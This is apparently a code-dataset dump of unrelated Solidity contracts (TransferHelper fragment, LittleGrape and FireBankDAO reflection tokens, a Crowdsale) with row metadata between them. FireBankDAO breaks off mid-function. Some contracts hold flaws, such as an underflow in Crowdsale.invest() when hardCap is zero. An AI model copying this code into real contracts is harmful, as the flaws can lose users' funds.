// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED');
}
function safeTransfer(address token, address to, uint value) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED');
}
function safeTransferFrom(address token, address from, address to, uint value) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED');
}
}
| 256,724 | 157 |
9ef3a71e33aa6ab183737e1e7fd6425bd9c81723cad8c4eb3d2e16fd911e524d
| 25,930 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0xed7E346c64cD98F20FFbf91814bb3cF6eBFD4259/contract.sol
| 4,450 | 16,390 |
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.7.6;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract LittleGrape is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'LittleGrape';
string private _symbol = 'LittleGrape';
uint8 private _decimals = 9;
uint private _fee = 12;
constructor () {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private view returns (uint256, uint256) {
uint256 tFee = tAmount.div(100).mul(_fee);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
| 250,064 | 158 |
e0c50813f7294b6b5917bbe359ccb986b105d20366e790770e999b4dd13c8f7a
| 11,039 |
.sol
|
Solidity
| false |
451141221
|
MANDO-Project/ge-sc
|
0adf91ac5bb0ffdb9152186ed29a5fc7b0c73836
|
data/smartbugs-wild-clean-contracts/0xc3a9055c667f47b16e8ef552d09b01732802565a.sol
| 2,494 | 9,063 |
pragma solidity 0.4.18;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract DetailedERC20 is ERC20 {
string public name;
string public symbol;
uint8 public decimals;
function DetailedERC20(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
contract Crowdsale {
string public name;
// contract creator, owner of the contract
// creator is also supplier of tokens
address private creator;
// crowdsale start (unix timestamp)
uint public offset;
// crowdsale length in seconds
uint public length;
// one token price in wei
uint public price;
// crowdsale minimum goal in wei
uint public softCap;
// crowdsale maximum goal in wei
uint public hardCap;
// minimum amount of value to transfer to beneficiary in automatic mode
uint private quantum;
// how much value collected (funds raised)
uint public collected;
// how many different addresses made an investment
uint public investorsCount;
// how much value refunded (if crowdsale failed)
uint public refunded;
// how much tokens issued to investors
uint public tokensIssued;
// how much tokens redeemed and refunded (if crowdsale failed)
uint public tokensRedeemed;
// how many successful transactions (with tokens being send back) do we have
uint public transactions;
// how many refund transactions (in exchange for tokens) made (if crowdsale failed)
uint public refunds;
// The token being sold
DetailedERC20 private token;
// decimal coefficient (k) enables support for tokens with non-zero decimals
uint k;
// address where funds are collected
address public beneficiary;
// investor's mapping, required for token redemption in a failed crowdsale
// making this field public allows to extend investor-related functionality in the future
mapping(address => uint) public balances;
// events to log
event InvestmentAccepted(address indexed holder, uint tokens, uint value);
event RefundIssued(address indexed holder, uint tokens, uint value);
// a crowdsale is defined by a set of parameters passed here
// make sure _end timestamp is in the future in order for crowdsale to be operational
// _price must be positive, this is a price of one token in wei
// _hardCap must be greater then _softCap or zero, zero _hardCap means unlimited crowdsale
// _quantum may be zero, in this case there will be no value accumulation on the contract
function Crowdsale(string _name,
uint _offset,
uint _length,
uint _price,
uint _softCap,
uint _hardCap,
uint _quantum,
address _beneficiary,
address _token) public {
// validate crowdsale settings (inputs)
// require(_offset > 0); // we don't really care
require(_length > 0);
require(now < _offset + _length); // crowdsale must not be already finished
// softCap can be anything, zero means crowdsale doesn't fail
require(_hardCap > _softCap || _hardCap == 0);
// hardCap must be greater then softCap
// quantum can be anything, zero means no accumulation
require(_price > 0);
require(_beneficiary != address(0));
require(_token != address(0));
name = _name;
// setup crowdsale settings
offset = _offset;
length = _length;
softCap = _softCap;
hardCap = _hardCap;
quantum = _quantum;
price = _price;
creator = msg.sender;
// define beneficiary
beneficiary = _beneficiary;
// allocate tokens: link and init coefficient
__allocateTokens(_token);
}
// accepts crowdsale investment, requires
// crowdsale to be running and not reached its goal
function invest() public payable {
// perform validations
assert(now >= offset && now < offset + length); // crowdsale is active
assert(collected + price <= hardCap || hardCap == 0); // its still possible to buy at least 1 token
require(msg.value >= price); // value sent is enough to buy at least one token
// call 'sender' nicely - investor
address investor = msg.sender;
// how much tokens we must send to investor
uint tokens = msg.value / price;
// how much value we must send to beneficiary
uint value = tokens * price;
// ensure we are not crossing the hardCap
if (value + collected > hardCap || hardCap == 0) {
value = hardCap - collected;
tokens = value / price;
value = tokens * price;
}
// update crowdsale status
collected += value;
tokensIssued += tokens;
// transfer tokens to investor
__issueTokens(investor, tokens);
// transfer the change to investor
investor.transfer(msg.value - value);
// accumulate the value or transfer it to beneficiary
if (collected >= softCap && this.balance >= quantum) {
// transfer all the value to beneficiary
__beneficiaryTransfer(this.balance);
}
// log an event
InvestmentAccepted(investor, tokens, value);
}
// refunds an investor of failed crowdsale,
// requires investor to allow token transfer back
function refund() public payable {
// perform validations
assert(now >= offset + length); // crowdsale ended
assert(collected < softCap); // crowdsale failed
// call 'sender' nicely - investor
address investor = msg.sender;
// find out how much tokens should be refunded
uint tokens = __redeemAmount(investor);
// calculate refund amount
uint refundValue = tokens * price;
// additional validations
require(tokens > 0);
// update crowdsale status
refunded += refundValue;
tokensRedeemed += tokens;
refunds++;
// transfer the tokens back
__redeemTokens(investor, tokens);
// make a refund
investor.transfer(refundValue + msg.value);
// log an event
RefundIssued(investor, tokens, refundValue);
}
// sends all the value to the beneficiary
function withdraw() public {
// perform validations
assert(creator == msg.sender || beneficiary == msg.sender); // only creator or beneficiary can initiate this call
assert(collected >= softCap); // crowdsale must be successful
assert(this.balance > 0); // there should be something to transfer
// how much to withdraw (entire balance obviously)
uint value = this.balance;
// perform the transfer
__beneficiaryTransfer(value);
}
// performs an investment, refund or withdrawal,
// depending on the crowdsale status
function() public payable {
// started or finished
require(now >= offset);
if(now < offset + length) {
// crowdsale is running, invest
invest();
}
else if(collected < softCap) {
// crowdsale failed, try to refund
refund();
}
else {
// crowdsale is successful, investments are not accepted anymore
// but maybe poor beneficiary is begging for change...
withdraw();
}
}
// ----------------------- internal section -----------------------
// allocates token source (basically links token)
function __allocateTokens(address _token) internal {
// link tokens, tokens are not owned by a crowdsale
// should be transferred to crowdsale after the deployment
token = DetailedERC20(_token);
// obtain decimals and calculate coefficient k
k = 10 ** uint(token.decimals());
}
// transfers tokens to investor, validations are not required
function __issueTokens(address investor, uint tokens) internal {
// if this is a new investor update investor count
if (balances[investor] == 0) {
investorsCount++;
}
// for open crowdsales we track investors balances
balances[investor] += tokens;
// issue tokens, taking into account decimals
token.transferFrom(creator, investor, tokens * k);
}
// calculates amount of tokens available to redeem from investor, validations are not required
function __redeemAmount(address investor) internal view returns (uint amount) {
// round down allowance taking into account token decimals
uint allowance = token.allowance(investor, this) / k;
// for open crowdsales we check previously tracked investor balance
uint balance = balances[investor];
// return allowance safely by checking also the balance
return balance < allowance ? balance : allowance;
}
// transfers tokens from investor, validations are not required
function __redeemTokens(address investor, uint tokens) internal {
// for open crowdsales we track investors balances
balances[investor] -= tokens;
// redeem tokens, taking into account decimals coefficient
token.transferFrom(investor, creator, tokens * k);
}
// transfers a value to beneficiary, validations are not required
function __beneficiaryTransfer(uint value) internal {
beneficiary.transfer(value);
}
// !---------------------- internal section ----------------------!
}
| 134,290 | 159 |
32f9e252708067c9bfc1b282bb0d957a13b902541712bb8dd1c99c7c02d2b3a2
| 29,594 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/25/2593ae552e2e1d5a18223d1defe01dcee2c54151_FireBankDAO.sol
| 5,249 | 18,797 |
pragma solidity ^0.6.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IBEP20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract FireBankDAO is Context, IBEP20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 10000 * 10**18;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _tBurnTotal;
string private _name = 'FireBank DAO';
string private _symbol = 'FIRE';
uint8 private _decimals = 18;
uint256 private _taxFee = 0;
uint256 private _burnFee = 5;
uint256 private _maxTxAmount = 10000 * 10**16;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function taxFee() public view returns (uint256) {
return _taxFee;
}
function burnFee() public view returns (uint256) {
return _burnFee;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total Tester3");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0xD3ce6898eC2252713F96FC21921cEBfca27501d2, 'We can not exclude Uniswap router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(sender != owner() && recipient != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function multiTransfer(address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++)
transfer(receivers[i], amounts[i]);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
